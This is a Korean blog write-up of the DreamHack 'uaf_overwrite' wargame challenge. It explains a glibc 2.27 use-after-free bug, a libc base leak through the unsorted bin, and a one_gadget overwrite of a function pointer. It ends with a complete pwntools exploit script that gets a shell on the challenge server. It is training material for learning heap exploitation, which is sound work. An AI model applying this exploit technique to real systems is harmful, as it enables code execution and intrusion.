본문 바로가기

DreamHack: System Hacking/F Stage 11

uaf_overwrite

소스코드 및 보호 기법

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

ubuntu 18.04 / glibc 2.27

*소스코드 설명

1. 같은 크기의 구조체 & 전역 변수 human, robot, custom, c_idx & print_name()

struct Human {
  char name[16];
  int weight;
  long age;
};
struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

-같은 크기의 구조체인 HumanRobot이 정의되어 있다.

 

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

-구조체 Human을 가리키는 포인터 변수 human

-구조체 Robot을 가리키는 포인터 변수 robot

-char 포인터형 배열 custom

-int형 c_idx

가 전역변수로 설정되어 있다.

 

void print_name() { printf("Name: %s\n", robot->name); }

-robot->name을 출력해주는 print_name()이 정의되어있다.

 

2. human_func(), robot_func(), custom_func()

a. human_func()

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

-malloc()을 통해 구조체 Human의 크기 만큼의 공간을 동적으로 할당받아 그 주소를 전역변수 human에 저장한다. 

-human->name = "Human"으로 초기화 하고,

-사용자에게서 입력을 받아 입력값으로 human->weighthuman->age를 초기화 한다.

-그 후 human을 free한다

 

b. robot_func()

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

-malloc()을 통해 구조체 Robot 크기 만큼의 공간을 동적으로 할당받아 그 주소를 전역변수 robot에 저장한다. 

-robot->name = "Robot"으로 초기화 하고,

-사용자에게서 입력을 받아 입력값으로 robot->weight를 초기화한다.

-그 후 robot->fptrNULL ptr가 아니라면 robot->fptr()를 실행시키고, robot->fptr가 NULL ptr라면 robot->fptr가 print_name()을 가리키게 해

robot->fptr(robot);

을 통해 print_name()을 호출한다

-그 후 robot을 free 해준다.

 

c. custom_func()

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

-size를 입력받아 size가 0x100보다 크다면, 해당 크기만큼의 공간을 malloc()을 통해 할당해준다.

-data를 입력받아, 입력받은 값을 할당받은 공간에 입력한 후, 할당된 공간의 데이터를 출력해준다.

-idx를 입력받아, idx < 10 이고 custom[idx]가 NULL이 아니라면 custom[idx]를 free 한다.

-그 후 c_idx를 1 증가시킨다

 

exploit 설계

0. 보호기법

보호기법으로 Full RELRO가 적용되어 있어 GOT overwrite와 같은 공격은 어렵다. 따라서 hook overwrite와 같은 방법을 고려해볼 수 있다.

하지만 해당 소스코드에는 hook overwrite 없이 robot->fptr를 조작하여 원하는 함수를 실행시킬 수 있으므로, robot->fptr를 통해 셸을 획득할 것이다.

 

1. libc base Leak

-glibc 2.29 미만의 버전에서는 unsorted bin에 들어가는 첫 번째 청크의 fd와 bk에는 특정 libc의 주소가 들어가게 된다(main_ arena의 특정 주소)

-따라서 우리는 (1) unsorted bin에 청크를 추가한 뒤, (2) unsorted bin에 있던 청크를 다시 할당해서 해당 청크의 fd, bk에 설정돼있는 값을 읽고 (3) fd, bk에 적혀있는 값(main_arena의 특정 주소)에서 main_arena의 특정 주소<->libc base의 offset을 빼는 방식을 통해 libc base의 주소를 구할 수 있다.

 

**주의할 점 1: 해제된 청크는 tcache와 fast bin에 들어가지 않는 경우에 unsorted bin에 들어가게 된다. 따라서 unsorted bin에 청크를 넣기 위해서 해제할 청크의 크기는 1040(0x410)byte보다 커야 한다.

따라서 0x410보다 큰 크기의 청크를 할당하기 위해서 우리는 custom_func()를 이용해야 할 것이다.

 

주의할 점 2: unsorted bin의 chunk와 top chunk는 맞닿으면 안 된다. unsorted bin에 있는 청크는 병합(consolidation) 대상이므로, 이 둘이 맞닿으면 청크가 병합된다. 따라서 우리는 아래 사진과 같이 chunk를 두 개 할당하고 처음으로 할당한 chunk를 unsorted bin에 넣어야 한다.

여기서 chunk[0]을 해제할 것이다

 

 

다음은 위 과정을 수행하는 것을 사진과 함께 설명한 것이다.

1. chunk 두 개를 할당한 후 처음 할당한 chunk를 free 시켜준다(unsorted bin과 top chunk가 맞닿지 않게 하기 위해 두 개를 할당한 것)

이때 처음 할당할 때 Free idx로 -1을 준 것은 아무 청크도 free 시키지 않겠다는 뜻이다. 위의 소스코드의 custom_func()를 보면

printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }

에서 idx는 unsigned int형이다. 따라서 -1을 주게 되면 idx = 0xffffffff이 되므로 아무런 chunk도 해제되지 않는 것이다.(왜 idx = -1 == 0xffffffff가 되는지 모르겠다면, 구글에 2의 보수를 검색해보도록 하자)

 

2. 이 상태에서 heap의 구조를 살펴보자

-우리가 해제한 청크(0x555555757250)가 Top chunk와 맞닿지 않고 예쁘게 unsorted bin에 담겨져 있는 걸 확인할 수 있다.

-이제 이 청크의 fd와 bk 값을 토대로 libc base와의 offset을 구해보자. 이를 위해선 먼저 libc base의 주소를 알아야 한다. 이는 vmmap 명령어를 통해 확인할 수 있다.

vmmap 명령어를 통해 확인한 결과 libc base0x7ffff79e2000임을 알 수 있다.

이와 별개로 우리가 해제한 청크의 fd 값인 0x7ffff7dcdca0는 libc 내에 있는 값인 것 또한 확인할 수 있다.

 

-이제 fd(unsorted bin에 처음으로 들어간 chunk의 fd, bk가 가리키는 libc내 특정 주소)와 libc base와의 offset을 구해보자

offset0x3ebca0이다.

 

2. 함수 포인터 덮어쓰기(robot->fptr)

-struct Human과 struct Robot은 같은 크기의 구조체이다.

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

-위의 소스코드에는 청크를 할당 받거나, free 할 때 데이터를 초기화 해주는 코드가 없다.(==Use-After-Free 취약점 존재)

-Use-After-Free 버그를 이용하면 human->age와 robot->fptr는 같은 위치를 사용하게 된다.

-따라서 human_func()를 호출하여 human->age에 우리가 원하는 함수의 주소를 넣어준 뒤 이를 free 하고, robot_func()에서 chunk를 할당받게 한다면, 해당 chunk는 human에서 free한 chunk를 불러와서 사용하게 되므로, fptr는 우리가 human->age에 넣어줬던 주소값을 가리키고 robot_func()의

if (robot->fptr)
    robot->fptr();

를 통해 우리가 human->age에 넣어줬던 주소에 있는 함수를 실행하게 될 것이다.

-따라서 우리는 human->age가 one_gadget의 함수를 가리키도록 설정할 것이다.

 

*제약 조건을 만족하는 적절한 one gadget을 찾아보도록 하자

[rsp+0x70] == NULL임을 확인할 수 있다. 따라서 우리는 0x10a41c에 해당하는 one_gadget을 쓸 것이다.

(제약 조건을 확인하는 것은 때에 따라 달라질 수 있다. 따라서 제약 조건을 확인하는 것이 마땅치 않을 때에는 one_gadget을 brute force를 통해 사용하는 것도 좋은 방법이다)

 

이제 exploit을 위한 모든 준비가 끝났다.

exploit 코드를 짜보도록 하자

 

 

exploit(uaf_overwrite.py)

from pwn import *
context.arch = 'amd64'
p = remote('host3.dreamhack.games', 20319)
e = ELF('./uaf_overwrite')

### [1]Leak addr of libc_base through UAF bug ###
p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'LLLL')
p.sendlineafter('Free idx: ', str(-1).encode())

p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'LLLL')
p.sendlineafter('Free idx: ', str(-1).encode())

p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'LLLL')
p.sendlineafter('Free idx: ', str(0).encode())

p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'A')
p.recvuntil('Data: ')
libc_base = u64(p.recvn(6)+b'\x00'*2)-0x3ebc41
p.sendlineafter('Free idx: ', str(-1).encode())
one_gadget = libc_base + 0x10a41c

print('libc_base:', hex(libc_base))
print('one_gadget:', hex(one_gadget))


### [2] execute one_gadget ###
p.sendlineafter('> ', str(1).encode())
p.sendlineafter('Human Weight: ', str(100).encode())
p.sendlineafter('Human Age: ', str(one_gadget).encode())

p.sendlineafter('> ', str(2).encode())
p.sendlineafter('Robot Weight: ', str(100).encode())

p.interactive()

**주의할 점: libc_base를 구할 때 우리가 위에서 구한 offset인 0x3ebca0이 아니라 0x3ebc41을 해주는 이유는 custom_func()를 호출하고 "Data: "에서 입력한 데이터인 'A(0x41)'가 fd의 한 바이트를 덮기 때문이다.

 

이때 fd에 적힌 주소(libc의 특정 주소)-offset = libc_base인데, libc_base의 마지막 12비트는 0이라는 특징이 있다.

따라서 우리가 입력한 data('A'==0x41) 때문에 fd에는 0x7f...c41이 적혀있을 것이고 libc_base의 하위 12비트는 0이라는 특성 때문에 offset으로 0x3ebc41을 빼준 것이다.

 

fd(libc의 특정 주소(==main_arena+xx)) - offset = libc_base(0x7f...000) 이니까.

'DreamHack: System Hacking > F Stage 11' 카테고리의 다른 글

Use After Free 개념 설명  (0) 2023.08.01
Background: ptmalloc2  (0) 2023.07.12